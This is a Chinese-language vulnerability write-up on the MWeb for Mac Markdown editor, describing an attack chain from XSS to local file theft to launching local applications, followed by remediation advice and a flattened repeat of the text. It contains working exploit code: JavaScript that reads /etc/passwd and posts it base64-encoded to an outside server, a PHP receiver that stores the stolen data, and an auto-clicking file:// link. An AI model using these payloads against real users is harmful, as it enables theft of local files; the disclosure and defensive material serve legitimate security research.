MWeb For Mac 客户端从XSS到任意文件窃取再到伪RCE
字数 1074 2025-08-29 08:32:00

MWeb For Mac 客户端安全漏洞分析:从XSS到文件窃取再到伪RCE

漏洞概述

MWeb For Mac 客户端存在一系列安全漏洞,攻击链如下:

  1. 跨站脚本(XSS)漏洞
  2. 利用XSS实现任意文件读取
  3. 进一步实现伪远程代码执行(RCE)

漏洞分析

1. XSS漏洞

漏洞原理

  • MWeb使用了KHTML引擎渲染HTML内容
  • 该引擎未对JavaScript执行做充分限制
  • 攻击者可以通过插入恶意脚本标签实现XSS

POC

<script src="//XssStage/ip.js"></script>

特点

  • 常规的alert()可能被限制,但其他JS功能仍可执行
  • 所有HTML标签均可执行

2. 文件窃取漏洞

利用方式
通过XSS执行JavaScript读取本地文件并外传

完整利用代码

<script>
// 包含BASE64编码函数库
(function() {
    var BASE64_MAPPING = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/'];
    // 省略BASE64编码相关函数...
    window.BASE64 = __BASE64;
})();

// 创建XMLHttpRequest对象
function createXHR() {
    if (typeof XMLHttpRequest != 'undefined') {
        return new XMLHttpRequest();
    } else if (typeof ActiveXObject != 'undefined') {
        // 省略兼容IE的代码...
    } else {
        throw new Error('No XHR Object available');
    }
}

// 发送POST请求函数
function post(URL, PARAMS) {
    var temp = document.createElement("form");
    temp.action = URL;
    temp.method = "post";
    temp.style.display = "none";
    for (var x in PARAMS) {
        var opt = document.createElement("textarea");
        opt.name = x;
        opt.value = PARAMS[x];
        temp.appendChild(opt);
    }
    document.body.appendChild(temp);
    temp.submit();
    return temp;
}

// 发送GET请求函数
function sendGetRequest(url, callback) {
    var xhr = createXHR();
    xhr.open('GET', url, false);
    xhr.send();
    callback(xhr.responseText);
}

// 读取/etc/passwd文件并发送到攻击者服务器
sendGetRequest('file:///etc/passwd', function(response) {
    var text = BASE64.encoder(response);
    post('https://www.test.com/mweb/file.php', {file:text});
});
</script>

接收端PHP代码

<?php
    $data = base64_decode($_POST["file"]);
    $file = fopen("file.txt",'a');
    fwrite($file,$data);
    fclose($file);
?>

3. 伪RCE实现

利用原理
通过file协议直接调用本地应用程序

POC代码

<a href="file:///Applications/Calculator.app" onclick="closewin();" id="alink">
<input id="btn" onclick="test()"> </input>
<script>
    document.getElementById("alink").click();
</script>

效果

  • 可启动计算器等本地应用
  • 在Windows平台可结合js执行cmd实现更彻底的RCE

漏洞修复建议

  1. 禁用所有JS脚本执行

    • 这是最直接的解决方案
    • 对于Markdown编辑器,JS功能通常不是必须的
  2. 实现安全的HTML标签过滤

    • 仅允许有限的HTML标签
    • 彻底过滤script等危险标签和属性
  3. 内容安全策略(CSP)

    • 实施严格的内容安全策略
    • 限制外部资源加载
  4. 输入输出编码

    • 对所有用户输入进行适当的编码
    • 输出时进行HTML实体编码

漏洞影响

  1. 信息泄露

    • 可读取系统任意文件
    • 包括敏感配置文件、密码文件等
  2. 系统安全威胁

    • 可执行本地应用程序
    • 在特定条件下可能实现完全RCE
  3. 持久性攻击

    • 攻击代码可保存在文档中
    • 每次打开文档都会执行

技术总结

  1. 漏洞根源

    • 过度信任用户输入
    • 未对Markdown中的HTML/JS内容进行充分过滤
    • 使用了存在安全隐患的KHTML引擎
  2. 攻击链演进
    XSS → 文件读取 → 伪RCE

  3. 同类风险

    • 其他使用类似渲染引擎的Markdown编辑器可能也存在相同问题
    • Windows平台的编辑器风险更高,可能实现完整RCE

防御措施开发建议

  1. 白名单机制

    • 仅允许安全的HTML标签和属性
    • 彻底禁止JavaScript执行
  2. 沙箱环境

    • 在沙箱中渲染不受信任的内容
    • 限制文件系统访问
  3. 用户提示

    • 对包含HTML/JS的内容进行安全警告
    • 提供"安全模式"选项
  4. 持续更新

    • 及时更新使用的渲染引擎
    • 跟踪相关安全公告

附录:完整POC文件

所有利用代码已打包在附件"MWeb For Mac 客户端 XSS 到任意文件窃取.zip"中,仅供安全研究使用。

MWeb For Mac 客户端安全漏洞分析:从XSS到文件窃取再到伪RCE 漏洞概述 MWeb For Mac 客户端存在一系列安全漏洞,攻击链如下: 跨站脚本(XSS)漏洞 利用XSS实现任意文件读取 进一步实现伪远程代码执行(RCE) 漏洞分析 1. XSS漏洞 漏洞原理 : MWeb使用了KHTML引擎渲染HTML内容 该引擎未对JavaScript执行做充分限制 攻击者可以通过插入恶意脚本标签实现XSS POC : 特点 : 常规的 alert() 可能被限制,但其他JS功能仍可执行 所有HTML标签均可执行 2. 文件窃取漏洞 利用方式 : 通过XSS执行JavaScript读取本地文件并外传 完整利用代码 : 接收端PHP代码 : 3. 伪RCE实现 利用原理 : 通过file协议直接调用本地应用程序 POC代码 : 效果 : 可启动计算器等本地应用 在Windows平台可结合js执行cmd实现更彻底的RCE 漏洞修复建议 禁用所有JS脚本执行 : 这是最直接的解决方案 对于Markdown编辑器,JS功能通常不是必须的 实现安全的HTML标签过滤 : 仅允许有限的HTML标签 彻底过滤script等危险标签和属性 内容安全策略(CSP) : 实施严格的内容安全策略 限制外部资源加载 输入输出编码 : 对所有用户输入进行适当的编码 输出时进行HTML实体编码 漏洞影响 信息泄露 : 可读取系统任意文件 包括敏感配置文件、密码文件等 系统安全威胁 : 可执行本地应用程序 在特定条件下可能实现完全RCE 持久性攻击 : 攻击代码可保存在文档中 每次打开文档都会执行 技术总结 漏洞根源 : 过度信任用户输入 未对Markdown中的HTML/JS内容进行充分过滤 使用了存在安全隐患的KHTML引擎 攻击链演进 : XSS → 文件读取 → 伪RCE 同类风险 : 其他使用类似渲染引擎的Markdown编辑器可能也存在相同问题 Windows平台的编辑器风险更高,可能实现完整RCE 防御措施开发建议 白名单机制 : 仅允许安全的HTML标签和属性 彻底禁止JavaScript执行 沙箱环境 : 在沙箱中渲染不受信任的内容 限制文件系统访问 用户提示 : 对包含HTML/JS的内容进行安全警告 提供"安全模式"选项 持续更新 : 及时更新使用的渲染引擎 跟踪相关安全公告 附录:完整POC文件 所有利用代码已打包在附件"MWeb For Mac 客户端 XSS 到任意文件窃取.zip"中,仅供安全研究使用。